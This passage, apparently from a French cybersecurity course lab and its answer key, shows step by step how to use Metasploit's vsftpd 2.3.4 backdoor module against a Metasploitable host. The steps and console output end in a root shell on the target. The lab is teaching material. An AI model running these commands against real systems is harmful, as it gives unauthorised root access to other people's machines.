 - 5. Nous pouvons remarquer que **RHOSTS** est vide, nous devons donc définir l'adresse IP cible (c'est-à-dire l'adresse IP de l'hôte victime qui est dans cet exemple 192.168.1.8). Pour ce faire, tapez la commande : **set RHOST @IP_victim ;**
 - 6. Affichez les modules liés aux types de payloads en exécutant la commande suivante : show payloads ;
 - Un payload est un code qui s'exécutera après s'être introduit dans la machine victime, par exemple pour avoir accès à un shell distant.
 - 7. À partir des options affichées, nous pouvons remarquer que nous ne pouvons définir que le **payload** du module cmd/unix/interact, comme suit : **set payload cmd/unix/interact ;**
 - 8. Après avoir configuré votre backdoor, vous pouvez l'exploiter à l'aide de la commande suivante : exploit
 - 9. En exploitant le backdoor, vous obtenez un accès privilégié à l'hôte victime et recevez un shell de commande à distance. Pour obtenir plus d'informations sur l'hôte victime, essayez de taper les commandes suivantes :
 - uname -a
 - whoami

Activité 3 Correction



Correction

1. Cette figure illustre le lancement de la console msfconsole dans le terminal Kali



Activité 3	
Correction	



Cette figure illustre l'exécution de la commande **search vsftpd.** Le résultat fournit montre la possibilité de l'utilisation du module **/unix/ftp/vsftpd_234_backdoor. Elle** illustre également l'exécution des **use exploit/unix/ftp/vsftpd_234_backdoor** et **show options.**

<u>msf6</u> > search vsftpd				
Matching Modules				
# Name	Disclosure Date	Rank	Check	Description
0 exploit/unix/ftp/ <mark>vsftpd</mark> _234_backdoor	2011-07-03	excellent	NO	VSFIPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. Fo	or example info 0,	use 0 or <mark>u</mark>	se expl	.oit/unix/ftp/vsftpd_234_backdoor
<pre>msf6 > msf6 > use exploit/unix/ftp/vsftpd_234_back</pre>	door			

Activité 3 Correction

4

PARTIE



Correction Cette figure illustre l'exécution des commandes use exploit/unix/ftp/vsftpd_234_backdoor et show options. msf6 > use exploit/unix/ftp/vsftpd_234_backdoor [*] No payload configured, defaulting to cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Current Setting Required Description Name The target host(s), see https://githu RHOSTS yes b.com/rapid7/metasploit-framework/wik i/Using-Metasploit The target port (TCP) RPORT 21 yes Payload options (cmd/unix/interact): Name Current Setting Required Description Exploit target: Id Name Automatic Ø



Cette figure illustre l'exécution des commandes set RHOST 192.168.1.8 et show payloads. Le résultat obtenu montre la possibilité d'utilisation du payload /cmd/unix/interact

<u>msf6</u> RHOST <u>msf6</u>	exploit(unix/ftp/vsftpd_234 → 192.168.1.8 exploit(unix/ftp/vsftpd_234	backdoor) > set backdoor) > show	RHOST 19 payload	2.168.1 s	.8			
Compa	tible Payloads							
#	Name	Disclosure Date	Rank	Check	Description			
-			1			Totomost with	Factor 1 date and	6+
0	payload/cmd/uhlx/interact		normat	NO	Unix Command,	interact with	Established	Connection

Cette figure illustre la configuration du payload déterminé en exécutant la commande **set payload /cmd/unix/interact** et son exploitation en exécutant la commande **exploit**. Le résultat obtenu est un accès privilégié à la machine victime.

<pre>msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload /cmd/unix/interact payload ⇒ cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit</pre>
<pre>[*] 192.168.1.8:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.1.8:21 - USER: 331 Please specify the password. [+] 192.168.1.8:21 - Backdoor service has been spawned, handling [+] 192.168.1.8:21 - UID: uid=0(root) gid=0(root) [*] Found shell.</pre>



Cette figure illustre l'exécution des commandes uname – a , whoami, et ifconfig dont les résultats prouvent que vous avez un accès privilégié à la machine Metasploitable

whoami root		
ifconfig		
ethØ	Link encap:Ethernet HWaddr 08:00:27:22:b9:44 inet addr:192.168.1.8 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fda8:c83a:5a1c:2f00:a00:27ff:fe22:b944/64 Scope:Global inet6 addr: fe80::a00:27ff:fe22:b944/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:44051 errors:0 dropped:0 overruns:0 frame:0 TX packets:21360 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:5837241 (5.5 MB) TX bytes:8431624 (8.0 MB) Base address:0×d020 Memory:f0200000-f0220000	
lo	Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:1350 errors:0 dropped:0 overruns:0 frame:0 TX packets:1350 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:636253 (621 3 KB) TX bytes:636253 (621 3 KB)	